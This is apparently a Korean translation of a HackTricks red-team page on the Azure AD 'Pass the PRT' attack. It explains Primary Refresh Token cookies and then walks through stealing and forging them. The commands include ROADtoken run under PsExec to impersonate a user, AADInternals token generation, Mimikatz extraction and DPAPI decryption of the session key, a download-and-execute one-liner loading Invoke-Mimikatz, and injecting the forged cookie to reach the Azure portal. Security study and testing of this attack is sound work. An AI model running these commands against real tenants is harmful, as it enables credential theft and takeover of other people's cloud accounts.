Az - Pass the PRT

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

PRT이란

pageAz - Primary Refresh Token (PRT)

PRT가 있는지 확인하기

Dsregcmd.exe /status

SSO 상태 섹션에서 **AzureAdPrt**가 YES로 설정된 것을 확인해야합니다.

동일한 출력에서 Azure에 가입된 장치인지도 확인할 수 있습니다 (AzureAdJoined 필드에서):

PRT 쿠키

PRT 쿠키는 실제로 **x-ms-RefreshTokenCredential**이라고 불리며 JSON Web Token (JWT)입니다. JWT에는 헤더, 페이로드서명으로 구성된 3 부분이 있으며 .로 구분되며 모두 URL 안전한 base64로 인코딩됩니다. 전형적인 PRT 쿠키에는 다음과 같은 헤더와 본문이 포함됩니다:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

**기본 새로 고침 토큰 (PRT)**은 refresh_token 내에 캡슐화되어 있으며, Azure AD의 키로 암호화되어 있어 내용을 우리에게는 불투명하고 해독할 수 없게 만듭니다. is_primary 필드는 이 토큰 내에 기본 새로 고침 토큰이 캡슐화되었음을 나타냅니다. 쿠키가 의도된 특정 로그인 세션에 유지되도록 보장하기 위해 request_noncelogon.microsoftonline.com 페이지에서 전송됩니다.

TPM을 사용한 PRT 쿠키 흐름

LSASS 프로세스는 KDF 컨텍스트를 TPM에 보내고, TPM은 세션 키 (장치가 AzureAD에 등록될 때 수집되고 TPM에 저장된)와 이전 컨텍스트를 사용하여 키를 파생하며, 이 파생된 키PRT 쿠키 (JWT)를 서명하는 데 사용됩니다.

KDF 컨텍스트는 AzureAD의 nonce와 PRT가 JWT를 생성하며 컨텍스트 (임의의 바이트)와 혼합됩니다.

따라서, PTR이 TPM 내부에 있기 때문에 추출할 수 없더라도, LSASS를 남용하여 새로운 컨텍스트에서 파생된 키를 요청하고 생성된 키를 사용하여 쿠키에 서명할 수 있습니다.

PRT 남용 시나리오

일반 사용자로서 LSASS에 SSO 데이터를 요청하여 PRT 사용을 요청할 수 있습니다. 이는 네이티브 앱Web Account Manager (토큰 브로커)에서 토큰을 요청하는 방식으로 수행될 수 있습니다. WAM은 요청을 LSASS에 전달하고, LSASS는 서명된 PRT 어설션을 사용하여 토큰을 요청합니다. 또는 브라우저 기반 (웹) 플로우에서도 수행될 수 있으며, PRT 쿠키가 Azure AS 로그인 페이지로의 요청을 인증하는 데 헤더로 사용됩니다.

SYSTEM으로서 TPM에 의해 보호되지 않은 경우 PRT를 도난당하거나 LSASS에서 PRT 키와 상호 작용할 수 있습니다.

PRT 전달 공격 예시

공격 - ROADtoken

이 방법에 대한 자세한 내용은 이 게시물을 확인하세요. ROADtoken은 올바른 디렉토리에서 **BrowserCore.exe**를 실행하고 PRT 쿠키를 얻기 위해 사용합니다. 이 쿠키는 그런 다음 ROADtools와 함께 사용되어 인증하고 지속적인 새로 고침 토큰을 얻을 수 있습니다.

유효한 PRT 쿠키를 생성하려면 먼저 nonce가 필요합니다. 다음을 사용하여 얻을 수 있습니다:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

또는 roadrecon을 사용할 수 있습니다:

roadrecon auth prt-init

그럼 roadtoken을 사용하여 새 PRT를 얻을 수 있습니다 (사용자 프로세스에서 도구 실행하여 공격).

.\ROADtoken.exe <nonce>

한 줄로:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

그런 다음 생성된 쿠키를 사용하여 Azure AD Graph 또는 Microsoft Graph를 사용하여 로그인하는 데 토큰을 생성할 수 있습니다:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

공격 - roadrecon 사용

공격 - AADInternals 및 유출된 PTR 사용

Get-AADIntUserPRTToken은 Azure AD에 가입되거나 하이브리드로 가입된 컴퓨터에서 사용자의 PRT 토큰을 가져옵니다. BrowserCore.exe를 사용하여 PRT 토큰을 가져옵니다.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

또는 Mimikatz에서 값을 가지고 있다면 AADInternals를 사용하여 토큰을 생성할 수도 있습니다:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

https://login.microsoftonline.com로 이동하고, login.microsoftonline.com의 모든 쿠키를 지우고 새 쿠키를 입력하세요.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

그럼 https://portal.azure.com로 이동하십시오.

나머지는 기본 설정으로 진행되어야 합니다. 페이지를 새로고침해도 쿠키가 사라지지 않는지 확인하십시오. 사라진다면 실수한 것이므로 프로세스를 다시 진행해야 합니다. 사라지지 않는다면 준비가 된 것입니다.

공격 - Mimikatz

단계

  1. PRT (Primary Refresh Token)는 LSASS (Local Security Authority Subsystem Service)에서 추출되어 저장되며 이후 사용을 위해 보관됩니다.

  2. 세션 키가 다음에 추출됩니다. 이 키는 초기에 발급되고 로컬 장치에서 다시 암호화되므로 DPAPI 마스터키를 사용하여 복호화해야 합니다. DPAPI (Data Protection API)에 대한 자세한 정보는 다음 리소스에서 확인할 수 있습니다: HackTricks 및 적용 방법에 대한 이해를 위해 쿠키 전달 공격을 참조하십시오.

  3. 세션 키를 복호화한 후 PRT에 대한 파생 키 및 컨텍스트를 얻습니다. 이들은 PRT 쿠키를 생성하는 데 중요합니다. 특히, 파생 키는 쿠키를 구성하는 JWT (JSON Web Token)에 서명하는 데 사용됩니다. 이 프로세스에 대한 포괄적인 설명은 Dirk-jan에 의해 제공되었으며 여기에서 확인할 수 있습니다.

PRT가 TPM 내부에 있고 lsass 내부에 없는 경우 mimikatz는 추출할 수 없습니다. 그러나 TPM에서 파생 키의 키를 가져와서 쿠키에 서명하는 것은 가능할 것입니다 (옵션 3 확인).

이러한 세부 정보를 추출하는 수행된 프로세스에 대한 심층적인 설명은 여기에서 찾을 수 있습니다: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

2021년 8월 이후 수정 사항으로 다른 사용자의 PRT 토큰을 가져오는 것은 정확히 작동하지 않을 것입니다 (로컬 관리자는 다른 사용자의 PRT에 액세스할 수 없지만 자신의 것에는 액세스할 수 있음).

mimikatz를 사용하여 PRT를 추출할 수 있습니다:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Prt 부분을 복사하고 저장하세요. 아래 하이라이트된 ProofOfPossesionKey 필드의 **KeyValue**인 세션 키도 추출하세요. 이 값은 암호화되어 있으며, 이를 복호화하기 위해 DPAPI 마스터키를 사용해야 합니다.

PRT 데이터가 보이지 않는다면, 디바이스가 Azure AD에 가입되어 있지 않거나 Windows 10의 이전 버전을 실행 중일 수 있습니다.

세션 키를 복호화하려면 권한을 상승시켜 시스템 권한으로 실행하여 DPAPI 마스터키를 사용하여 복호화해야 합니다. 다음 명령어를 사용할 수 있습니다:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

옵션 1 - 전체 Mimikatz

  • 이제 Context 값과 함께 다음을 복사하려고 합니다:

  • 그리고 파생된 키 값:

  • 마지막으로 이 모든 정보를 사용하여 PRT 쿠키를 생성할 수 있습니다:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

나머지는 기본 설정이어야 합니다. 페이지를 새로 고침할 수 있고 쿠키가 사라지지 않는지 확인하십시오. 사라진다면 실수를 한 것이므로 프로세스를 다시 진행해야 합니다. 그렇지 않으면 제대로 된 것입니다.

옵션 2 - PTR을 사용한 roadrecon

  • 먼저 PRT을 갱신하여 roadtx.prt에 저장하십시오:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • 이제 roadtx browserprtauth를 사용하여 대화형 브라우저에서 토큰을 요청할 수 있습니다. roadtx describe 명령을 사용하면 액세스 토큰에 MFA 클레임이 포함되어 있는 것을 볼 수 있습니다. 이 경우 사용한 PRT에도 MFA 클레임이 있기 때문입니다.

roadtx browserprtauth
roadtx describe < .roadtools_auth

옵션 3 - 파생 키를 사용한 roadrecon

mimikatz에 의해 덤프된 컨텍스트와 파생 키를 가지고 있으면 roadrecon을 사용하여 새로운 서명된 쿠키를 생성할 수 있습니다:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

最終更新